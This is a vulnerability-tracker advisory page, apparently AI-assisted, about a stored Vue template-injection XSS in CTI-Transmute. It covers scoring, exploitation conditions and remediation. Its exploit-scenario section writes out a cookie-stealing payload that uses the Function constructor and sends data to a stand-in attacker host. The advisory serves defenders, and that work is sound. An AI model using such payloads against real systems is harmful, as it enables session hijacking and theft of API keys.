Skip to main content

CTI-Transmute EUVDEUVD-2026-54259

| CVE-2026-71502 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-06 CIRCL GHSA-6x7q-w685-49vg
5.1
CVSS 4.0 · Vendor: CIRCL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Create unauthenticated public conversion
  2. Delivery
    Inject `[[ ]]` Vue template payload in name or description
  3. Exploit
    Victim navigates to conversion detail page
  4. Install
    Vue runtime compiler evaluates attacker expression
  5. C2
    Escalate via Function constructor (`[].constructor.constructor`)
  6. Execute
    Execute arbitrary JavaScript in victim browser origin
  7. Impact
    Exfiltrate API keys or replay authenticated session actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the CTI-Transmute instance permits creation of public conversions accessible to other users - the advisory explicitly describes the attacker creating a 'public conversion.' The Vue runtime compiler must be active (not the precompiled runtime-only build), and the application must be configured with [[ ... ]] as Vue expression delimiters. The unsafe-eval CSP exception must be present, which the advisory confirms is required by the application's Vue configuration. No authentication is required for the injection step (confirmed by CVSS PR:N). What limits broader exploitation: victim interaction is required (CVSS UI:A) - the payload only fires when a user navigates to the affected page; impact is restricted to the victim's browser origin and session, with no direct server-side code execution; and deployments that do not expose public conversion creation to unauthenticated users are not exploitable by unauthenticated attackers, though authenticated users with conversion-creation rights remain a threat vector.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:A reflects genuinely low attack complexity and no privilege requirement for the injection step, but the UI:A metric (active victim interaction) and browser-scoped impact constrain the score. In practice the stored nature of the payload is a meaningful risk amplifier: the attacker injects once, and the payload executes for every subsequent visitor - including administrators - without further attacker involvement. The unsafe-eval CSP bypass removes a defense that organizations may believe is protecting them. EPSS data was not available in the provided intelligence, so exploitation probability cannot be quantified from that signal. The CVE is not listed in CISA KEV, indicating no confirmed mass or targeted exploitation has been reported. However, the advisory explicitly describes the [].constructor.constructor exploit technique and a two-stage payload approach, providing attackers with a near-ready blueprint; this is functionally equivalent to a public POC. The reporter tag of 'RCE' reflects browser-side arbitrary JavaScript execution rather than server-side RCE - an important distinction for defenders: the impact is session hijacking, API key theft, and authenticated action replay, not direct server compromise. The reference URL provided in the intelligence is incomplete (https://) and could not be verified, leaving the vendor advisory unconfirmed from external sources.

Exploit ScenarioDerived

An unauthenticated attacker visits the CTI-Transmute public interface and creates a conversion whose description contains [[ [].constructor.constructor('fetch("https://attacker.example/steal?c="+document.cookie)')() ]]. The payload is stored by the application. When any user - including an administrator - subsequently opens the conversion detail page, Vue's runtime compiler evaluates the expression and executes the attacker's JavaScript in the victim's browser, exfiltrating session cookies, API keys, or tokens visible to the page, or performing authenticated API actions on the victim's behalf.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

Stored Vue template injection in CTI-Transmute ≤ 1.5.0 allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who views a compromised public conversion detail page. The attack bypasses Jinja2 HTML escaping because server-rendered values are injected into DOM regions subsequently compiled by Vue's runtime engine, which interprets the attacker-controlled [[ ... ]] expressions as live template code. The application's nonce-based CSP provides no protection because Vue's runtime compiler requires the unsafe-eval exception, permitting Function constructor escalation; no public exploit code beyond the proof-of-concept payload technique described in the advisory has been identified at time of analysis, and this CVE is not listed in CISA KEV.

RemediationAI

Upgrade CTI-Transmute beyond version 1.5.0 once a patched release is published; the fix registers a global Jinja finalize hook that inserts a zero-width Unicode word joiner (U+2060) inside every [[ and ]] Vue delimiter found in server-rendered values, breaking Vue's delimiter recognition while leaving visible text unchanged - the patched version number is not independently confirmed from available data, so monitor the MISP CTI-Transmute repository for a tagged release. As a compensating control pending the patch, administrators should disable or restrict public conversion creation to authenticated and trusted users only, which eliminates the unauthenticated injection vector; note this trade-off reduces the tool's collaborative utility. A more structural mitigation is migrating from Vue's runtime compiler build to the precompiled (runtime-only) build, which would remove the unsafe-eval CSP requirement and prevent Function constructor escalation; however, this requires refactoring all in-browser template compilation and is a non-trivial application change. Removing unsafe-eval from the CSP without migrating off the runtime compiler would break application functionality and is not a standalone option.

Affected VersionsENISA

cti-transmute 0 ≤1.5.0

Affected Packages

euvd cti_transmute no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CTI-Transmute (cpe:2.3:a:misp:cti-transmute:*:*:*:*:*:*:*:*, versions ≤ 1.5.0) is a MISP-ecosystem tool for converting Cyber Threat Intelligence formats. The application uses Vue.js with its runtime compiler enabled - the compiler build, not the leaner runtime-only build - and configures [[ ... ]] as its template expression delimiters. Jinja2 HTML escaping is applied server-side before values are rendered into the page, but this escaping is applied too early in the pipeline: the escaped output is placed into a DOM region that Vue's runtime compiler then processes as a template. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause class: server-side escaping is insufficient when the same content is later consumed as executable template syntax by a client-side framework. Because the runtime compiler must evaluate template expressions dynamically, it requires the unsafe-eval Content Security Policy directive, which eliminates the protection a nonce-based CSP would otherwise provide against injected script. The [].constructor.constructor(...) escalation path is a well-known technique for reaching the JavaScript Function constructor from within sandboxed Vue expressions, enabling full arbitrary JavaScript execution. A two-stage payload variant - where a short first-stage retrieves a larger second-stage payload from an uncapped conversion description field - is also documented in the advisory.

Know when Misp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CIRCL) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered stored XSS with no auth required for injection (PR:N), victim page-visit required (UI:R), scope change to victim browser session (S:C), limited C/I impact only.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (CIRCL).

CVSS VectorVendor: CIRCL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

CTI-Transmute contains a stored cross-site scripting vulnerability caused by insufficient neutralization of Vue template expression delimiters in server-rendered user-controlled data.

An unauthenticated attacker can create a public conversion whose name or description contains a malicious Vue expression using the application's configured [[ ... ]] delimiters. User profile names may provide an additional injection vector. Although Jinja HTML escaping is applied, the resulting value is subsequently included in a DOM region compiled by Vue.

Vue interprets the attacker-controlled value as a template expression rather than ordinary text. By accessing the JavaScript Function constructor from within the expression, an attacker can execute arbitrary JavaScript in the security context of the CTI-Transmute origin. The application's nonce-based Content Security Policy does not prevent exploitation because the Vue runtime compiler requires the unsafe-eval policy exception.

The malicious payload is stored by the application and executed whenever another user opens an affected page, such as the public conversion detail page. The victim may be a normal user or an administrator. Successful exploitation could allow the attacker to:

  • Access data available to the victim through the application.
  • Extract API keys, tokens, or other sensitive information exposed to the page.
  • Perform authenticated actions using the victim's session.
  • Modify conversions or other application data.
  • Escalate the impact by targeting an administrator.

A demonstrated payload can use [].constructor.constructor(...) to obtain the JavaScript Function constructor and execute arbitrary code. The regression tests also show that a short first-stage payload could retrieve an uncapped conversion description and evaluate a larger second-stage payload.

The patch addresses the vulnerability by registering a global Jinja finalize hook that inserts a zero-width Unicode word joiner inside every Vue delimiter found in server-rendered values. This prevents Vue from recognizing the values as template expressions while preserving their visible representation.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Low
niche MISP-ecosystem CTI format conversion tool
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.6%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Misp

View all
CVE-2018-19908 HIGH POC
8.8 Dec 06

An issue was discovered in MISP 2.4.9x before 2.4.99. Rated high severity (CVSS 8.8), this vulnerability is remotely exp

CVE-2022-29528 CRITICAL POC
9.8 Apr 20

An issue was discovered in MISP before 2.4.158. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2022-48328 CRITICAL POC
9.8 Feb 20

app/Controller/Component/IndexFilterComponent.php in MISP before 2.4.167 mishandles ordered_url_params and additional_de

CVE-2026-44381 CRITICAL POC
9.3 May 13

SQL injection in MISP threat intelligence platform versions prior to 2.5.37 allows remote unauthenticated attackers to m

CVE-2022-29534 HIGH POC
7.5 Apr 20

An issue was discovered in MISP before 2.4.158. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitab

CVE-2023-37306 HIGH POC
7.5 Jun 30

MISP 2.4.172 mishandles different certificate file extensions in server sync. Rated high severity (CVSS 7.5), this vulne

CVE-2021-41326 CRITICAL
9.8 Sep 17

In MISP before 2.4.148, app/Lib/Export/OpendataExport.php mishandles parameter data that is used in a shell_exec call. R

CVE-2018-12649 CRITICAL
9.8 Jun 22

An issue was discovered in app/Controller/UsersController.php in MISP 2.4.92. Rated critical severity (CVSS 9.8), this v

CVE-2020-15411 CRITICAL
9.8 Jun 30

An issue was discovered in MISP 2.4.128. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,

CVE-2020-29006 CRITICAL
9.8 Nov 24

MISP before 2.4.135 lacks an ACL check, related to app/Controller/GalaxyElementsController.php and app/Model/GalaxyEleme

CVE-2021-35502 CRITICAL
9.8 Jun 25

app/View/Elements/genericElements/IndexTable/Fields/generic_field.ctp in MISP 2.4.144 does not sanitize certain data rel

CVE-2021-39302 CRITICAL
9.8 Aug 19

MISP 2.4.148, in certain configurations, allows SQL injection via the app/Model/Log.php $conditions['org'] value. Rated

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy